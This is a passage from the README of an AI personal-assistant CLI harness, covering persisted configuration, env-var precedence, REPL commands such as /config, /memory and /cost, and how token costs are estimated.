— no proxy deployment needed, but unlike authToken (a self-hosted proxy's
own bearer token), ASSISTANT_API_KEY/apiKey is a real provider key.
It's stored the same way as every other secret field here — plaintext in
config.json, not an OS keychain — so treat that file accordingly. When
ASSISTANT_MODEL//config set model isn't set, each backend falls back to the
current-generation default id exported from @buildaharness/runtime's
model-defaults.ts (openai → gpt-5-mini, openrouter →
anthropic/claude-sonnet-5, anthropic and proxy → claude-sonnet-5).
Transcript, learned experience, reminders, and any in-flight turn's checkpoint
persist as real files under ~/.buildaharness/personal-assistant/
(transcripts/, experience/, reminders/, checkpoints/), so conversation
history and learning survive between runs — quit and restart the CLI and it
remembers.
Configuration
Every env var documented above (ASSISTANT_ENABLE_WEB,
BRAVE_SEARCH_API_KEY, ASSISTANT_ENABLE_SHELL, ASSISTANT_SHELL_TIMEOUT_MS,
ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS, ASSISTANT_LLM_BACKEND,
ASSISTANT_PROXY_URL, ASSISTANT_PROXY_TOKEN, ASSISTANT_API_KEY,
ASSISTANT_MODEL, ASSISTANT_WORKSPACE_DIR) keeps working exactly as
described — nothing here is a breaking change. What's new is a persisted
settings layer beneath those env vars, editable from inside a running CLI
session with /config, so a setting survives across runs without needing an
env var set every time:
you> /config
llmBackend proxy
proxyUrl http://localhost:8787
authToken (not set)
apiKey (not set)
model (not set)
enableWeb false
braveApiKey (not set)
enableShell false
shellTimeoutMs (not set)
workspaceRoot (not set)
dangerouslySkipPermissions false
you> /config set enableWeb true
✗ enableWeb requires braveApiKey to be set (Brave Search is the only backend).
you> /config set braveApiKey sk-...
✓ braveApiKey updated (took effect immediately, no restart needed)
you> /config set enableWeb true
✓ enableWeb updated (took effect immediately, no restart needed)
you> /config reset enableWeb
✓ Reset enableWeb to default/configlists every field's current (resolved) value. A field currently pinned by an env var shows(env-pinned: VAR_NAME)and cannot be changed with/config set— unset the env var first./config set <key> <value>validates the change (e.g.enableWeb trueis rejected without abraveApiKeyalready set) before persisting it, then rebuilds the running assistant so the change applies to the very next turn — no restart needed./config reset [key]clears one persisted key (or, with no key, every persisted key), reverting to the env var if still set, or the built-in default otherwise.
Precedence: env var > persisted config > built-in default, evaluated
independently per field. Settings persist as plain JSON at
~/.buildaharness/personal-assistant/config.json — like the rest of this
package's persistence, it's a real file, not encrypted, so authToken and
braveApiKey are stored in plaintext there. This is the same trust boundary
the repo's root .env already has, not a new one.
REPL commands
Type /help inside a running CLI session for this list. All of them read or
change local session/config state — none of them make an LLM call themselves.
| Command | What it does |
|---|---|
| /help | Show this list |
| /clear (alias /new) | Start a fresh conversation — deletes this session's transcript, extracted facts, and active plan. Leaves learned reminders/experience untouched (those are durable, cross-conversation learning, not conversation-scoped state) |
| /status | Show the resolved config (model, backend, workspace, enabled capabilities — same as the startup banner) plus this session's transcript length and whether a plan is active |
| /export [file] | Save this session's transcript to a markdown file (default: assistant-transcript-<timestamp>.md in the current directory) |
| /undo | Remove the last exchange from conversation history — a completed turn drops both the user message and the reply; a turn still awaiting approval drops just the pending message. Only affects what the model remembers: a real write_file/run_shell_command effect from that turn is not reversed |
| /memory | Show facts learned about you, reminders created so far, and the learning-layer ExperienceStore's real content — every strategy weight, plus the 20 most recently learned decompositions/recovery sequences (newest first), not just counts |
| /memory export [file] | Write the full, unbounded ExperienceStore contents (every strategy weight/decomposition/recovery sequence, not the 20-entry preview /memory prints) plus facts/reminders to a JSON file (default: assistant-memory-<timestamp>.json). Read-only: there's no matching import path, so exported data can't be hand-edited and loaded back in |
| /search <query> | Ranked search over past messages, across every session in this install — a hit is the one message that matched, not the whole session transcript around it. Read-only: never an LLM call or network request. Scoring is tokenized/graduated, not exact-substring-only (see "Conversation history" above), and a query matching nothing returns an explicit "no results" line |
| /model [name] | Show the active model, or switch it — a thin alias over /config set model <name> (see "Configuration" above); rejected the same way if model is pinned by ASSISTANT_MODEL |
| /cost | Show token usage for the last turn and the running session total |
| /doctor | Check proxy reachability (proxy backend) or the claude binary (claude-cli backend), plus workspace root and data dir health — no dedicated check yet for the anthropic/openai/openrouter backends, only the backend-agnostic checks run for those |
| /why | Explain the harness path the last turn took (verification confidence + node sequence) |
| /sources | List files/URLs the last turn actually consulted |
| /plan | Show the active structured plan's task status |
| /checkpoint [clear] | Inspect a stuck in-progress harness checkpoint (step, node, failed-resume count so far), or /checkpoint clear to discard it — see "Recovering a stuck checkpoint" above. Scoped to just the checkpoint: unlike /clear, transcript/facts/plan are untouched |
/cost and real vs. estimated dollar figures
Token counts are always real, on every backend. The dollar figure attached to them is not always the same kind of number:
- claude-cli backend:
costUsdcomes straight fromclaude --output-format json's owntotal_cost_usdfield — real Anthropic accounting. It may read$0if the underlyingclaudesession is authenticated against a Pro/Max subscription rather than API billing, in which case$0does not mean "this turn was free" —/cost's output says so explicitly. - every other backend (
proxy,anthropic,openai,openrouter): none of these compute a dollar cost themselves — only the raw token counts each provider's response already includes (@buildaharness/proxyis a thin pass-through, seepackages/proxy/src/forward.ts; the three direct clients in@buildaharness/runtimeare the same)./costfalls back to a small static, hand-maintained pricing table (model-pricing.ts, Sonnet/Opus/Haiku list prices) to show an approximate estimate, clearly labeled as such, not real billing data.
Commands
npm run build --workspace=packages/aielia
npm test --workspace=packages/aielia
npm run typecheck --workspace=packages/aielia